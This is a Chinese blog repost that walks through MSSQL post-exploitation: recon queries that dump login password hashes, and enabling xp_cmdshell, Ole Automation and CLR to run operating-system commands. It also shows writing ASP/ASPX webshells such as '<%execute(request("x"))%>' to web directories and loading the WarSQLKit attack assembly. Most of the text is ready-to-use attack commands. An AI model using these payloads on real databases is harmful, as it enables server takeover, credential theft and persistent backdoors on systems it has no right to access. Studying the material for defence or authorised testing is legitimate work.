zoukankan      html  css  js  c++  java
  • MSSQL存储过程命令执行

    MSSQL存储过程命令执行

    转载自简书

    基本概念

    MSSQL

    MSSQL指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案。

    组件

    组件是对数据和方法的简单封装,可以理解为对象。有着自己的属性和方法。属性是组件数据的简单访问者,而方法就是组件的一些简单功能。

    OLE
    OLE是一种面向对象的技术,利用这种技术可重复使用COM组件。

    基本查询命令

    #查询版本信息
    select @@version
    
    #查看是否是管理员
    select is_srvrolemember('sysadmin')
    
    #查看主机名
    select host_name();
    
    #查看服务器名
    select @@servername;
    
    #查看用户hash
    select name,sys.fn_varbintohexstr(password_hash) from sys.sql_logins
    
    #查看sql server 认证方式
    select SERVERPROPERTY('IsIntegratedSecurityOnly') 
    
    #查看目录结构
    #depth设置为1,表示显示所以子目录,file设置为1,表示显示子目录的文件
    execute master..xp_dirtree 'e:\',1,1 列出e盘目录、文件
    
    #判断文件是否存在
    exec master.sys.xp_fileexist 'e:\web\tmp.asp'
    
    #判断站库分离
    select host_name();   #查询客户端主机名
    select @@servername;  #查询服务端主机名
    
    #查询文件内容
    create table files(line varchar(1024))
    bulk insert  files from 'e:\1.txt'
    select * from files
    

    存储过程

    存储过程是一组为了完成某个特定功能的SQL语句。一次编译永久生效。然后用户通过指定存储过程的名字以及参数来执行。
    而存储过程分为:

    1. 系统存储过程
    2. 本地存储过程
    3. 扩展存储过程
    4. 远程存储过程
    5. 临时存储过程

    系统存储过程

    以sp_开头,进行系统的设定。如:sp_oacreate、sp_oamethod
    查看微软官方文档为:
    sp_oacreate是创建 OLE 对象的实例。
    sp_oamethod是调用一个 OLE 对象的方法。

    sp_oacreate 执行命令

    启用SP_OACREATE

    EXEC sp_configure 'show advanced options', 1;   
    RECONFIGURE WITH OVERRIDE;   
    EXEC sp_configure 'Ole Automation Procedures', 1;   
    RECONFIGURE WITH OVERRIDE;
    

    执行系统命令

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > c:\\1.txt'
    
    Shell.Application //执行命令
    declare @o int
    exec sp_oacreate 'Shell.Application', @o out
    exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c whoami >e:\test.txt','c:\windows\system32','','1';
    

    需要注意的是该存储过程执行命令无回显,所以将命令执行的结果输出到文件里。
    两个语句中分别使用了wscript.shell、Shell.Application两个对象,而一些防护产品对该对象比较敏感。
    所以有了第二种方法:
    同样也是利用sp_oacreate,但使用的是scripting.filesystemobject对象,该对象用来操作一些文件。
    在知道web绝对路径的情况下,可利用该对象写入webshell。也是解决不出网的一张方式。

    declare @o int, @f int, @t int, @ret int
    exec sp_oacreate 'scripting.filesystemobject', @o out
    exec sp_oamethod @o, 'createtextfile', @f out, 'e:\web\tmp.asp', 1
    exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("x"))%>' 
    

    本地存储过程

    本地存储过程指用户创建的自定义存储过程。如:CLR

    CLR,公共语言基础结构(Common Language Infrastructure),用来支持不同编程语言。sql server集成了该组件,可以通过sql server编写CLR来执行系统命令。

    CLR执行系统命令

    1. 启用CLR
    sp_configure 'clr enabled', 1
    GO
    RECONFIGURE
    GO
    
    1. 将数据库标记为安全
    ALTER DATABASE master SET TRUSTWORTHY ON;
    
    1. 利用SQL语句导入程序集
    CREATE ASSEMBLY [Database1]
        AUTHORIZATION [dbo]
        FROM 0x4D5A9.............
        WITH PERMISSION_SET = UNSAFE;
    GO
    
    1. 创建存储过程
    CREATE PROCEDURE [dbo].[ExecCommand]
    @cmd NVARCHAR (MAX)
    AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]
    go
    
    1. 执行系统命令
    exec dbo.ExecCommand "whoami"
    

    WarSQLKit 工具

    在看CLR编写的过程中,顺便看到有前辈开发了针对mssql CLR进行利用的渗透工具。
    也就是WarSQLKit。github可下载源码。

    1. 启用CLR
    sp_configure 'clr enabled', 1
    GO
    RECONFIGURE
    GO
    
    1. 将数据库标记为安全
    ALTER DATABASE master SET TRUSTWORTHY ON;
    
    1. 利用SQL语句导入程序集
    CREATE ASSEMBLY [WarSQLKit]
        AUTHORIZATION [dbo]
        FROM  0x4D5A900003000000.......
        WITH PERMISSION_SET = UNSAFE;
    GO
    

    注:这里说一下该十六进制非常长,在WarSQLKit.dacpac文件内
    解压该文件,源码存放在model.xml文件中

    1. 创建存储过程
    CREATE PROCEDURE sp_cmdExec
    @Command [nvarchar](4000)
    WITH EXECUTE AS CALLER
    AS
    EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec
    GO
    
    1. 执行系统命令
    EXEC sp_cmdExec 'whoami';
    

    扩展存储过程

    以xp_开头,使用外部程序语言编写的存储过程。如:xp_cmdshell

    xp_cmdshell 执行命令

    sql server 2005版本以后默认关闭,需要开启后使用

    1. 启用xp_cmdshell
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
    
    1. 执行系统命令
    exec master..xp_cmdshell 'whoami'
    

    也可以写入webshell

    exec master..xp_cmdshell 'echo ^<%eval request("x")%^> >e:\shell.aspx'
    

    补充:
    实战中如果出现调用CreateProcess失败,一般为拦截了xp_cmdshell的调用。

  • 相关阅读:
    jq 获取下一个兄弟原素 下拉箭头旋转
    weui复选框无法传值
    小乌龟 coding 克隆、提交一直提示无权限
    mysql 时间操作
    Mysql表结构导出excel(含数据类型、字段备注注释)
    sql server数据库文件的迁移(mdf&ldf文件)
    thinkphp 5 _initialize 使用问题
    thinkphp5 or
    找实习与校招总结——经验与收获2021
    千兆网数据CRC检验和过滤
  • 原文地址:https://www.cnblogs.com/tomyyyyy/p/15627540.html
Copyright © 2011-2022 走看看